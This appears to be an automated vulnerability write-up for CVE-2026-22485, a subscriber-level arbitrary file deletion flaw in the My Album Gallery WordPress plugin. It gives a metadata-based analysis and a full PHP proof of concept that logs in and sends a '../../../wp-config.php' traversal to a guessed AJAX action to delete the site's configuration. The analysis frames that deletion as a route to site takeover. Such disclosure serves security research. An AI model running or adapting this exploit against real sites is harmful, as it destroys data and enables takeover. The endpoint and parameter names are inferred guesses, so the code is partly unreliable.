Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-22485: My Album Gallery <= 1.0.4 – Authenticated (Subscriber+) Arbitrary File Deletion (my-album-gallery)

CVE ID CVE-2026-22485
Plugin my-album-gallery
Severity High (CVSS 8.1)
CWE 22
Vulnerable Version 1.0.4
Patched Version —
Disclosed March 4, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-22485 (metadata-based):

This vulnerability stems from improper path validation in the My Album Gallery WordPress plugin. The CWE-22 classification indicates a path traversal flaw where user-supplied input constructs file paths without proper restriction to a safe directory. The description confirms authenticated attackers with Subscriber privileges can delete arbitrary files. This suggests the plugin provides a file deletion function accessible via AJAX or admin endpoints. The function likely accepts a filename parameter and passes it directly to PHP file deletion functions like unlink() without validating the path against an allowed directory. Attackers can use directory traversal sequences (../) to escape the intended directory and target critical system files. The CVSS vector confirms network accessibility, low attack complexity, low privilege requirement, no user interaction, and high impacts on integrity and availability. Remote code execution is possible by deleting wp-config.php, which forces WordPress into installation mode, allowing attackers to reconfigure the site with malicious code. The fix would require validating user input against an allowlist of permitted files, sanitizing file paths with realpath() and checking they remain within the plugin’s designated upload directory, and implementing proper capability checks beyond Subscriber-level access. Atomic Edge research infers the vulnerable endpoint is likely an AJAX handler accessible to authenticated users, as this pattern is common for WordPress media gallery plugins that manage file operations.

Differential between vulnerable and patched code

Proof of Concept (PHP)

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PHP PoC 
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-22485 - My Album Gallery <= 1.0.4 - Authenticated (Subscriber+) Arbitrary File Deletion
<?php
/**
 * Proof-of-concept for CVE-2026-22485
 * Assumptions based on vulnerability metadata:
 * 1. The plugin exposes an AJAX endpoint for file deletion
 * 2. The endpoint accepts a filename parameter vulnerable to path traversal
 * 3. Subscriber-level authentication is sufficient
 * 4. No nonce verification or capability checks beyond authentication
 * 5. The AJAX action name follows plugin naming conventions
 */

$target_url = 'http://target-wordpress-site.com'; // CHANGE THIS
$username = 'subscriber_user'; // CHANGE THIS
$password = 'subscriber_pass'; // CHANGE THIS

// Step 1: Authenticate to WordPress and obtain cookies
$login_url = $target_url . '/wp-login.php';
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';

$ch = curl_init();
curl_setopt_array($ch, [
    CURLOPT_URL => $login_url,
    CURLOPT_POST => true,
    CURLOPT_POSTFIELDS => http_build_query([
        'log' => $username,
        'pwd' => $password,
        'wp-submit' => 'Log In',
        'redirect_to' => $target_url . '/wp-admin/',
        'testcookie' => '1'
    ]),
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_COOKIEJAR => 'cookies.txt',
    CURLOPT_COOKIEFILE => 'cookies.txt',
    CURLOPT_FOLLOWLOCATION => true,
    CURLOPT_HEADER => true
]);

$response = curl_exec($ch);

// Step 2: Exploit the file deletion vulnerability
// Inferred AJAX action name based on plugin slug 'my-album-gallery'
$action_name = 'my_album_gallery_delete_file';

// Target wp-config.php in the WordPress root directory (common RCE vector)
$malicious_path = '../../../wp-config.php';

curl_setopt_array($ch, [
    CURLOPT_URL => $ajax_url,
    CURLOPT_POSTFIELDS => http_build_query([
        'action' => $action_name,
        'file' => $malicious_path  // Parameter name inferred from vulnerability type
    ]),
    CURLOPT_HEADER => false
]);

$ajax_response = curl_exec($ch);
curl_close($ch);

// Step 3: Verify exploitation
if (strpos($ajax_response, 'success') !== false || strpos($ajax_response, 'deleted') !== false) {
    echo "[+] File deletion likely successful. Check if wp-config.php exists.n";
} else {
    echo "[-] Exploit may have failed. Response: " . htmlspecialchars($ajax_response) . "n";
}

unlink('cookies.txt');
?>

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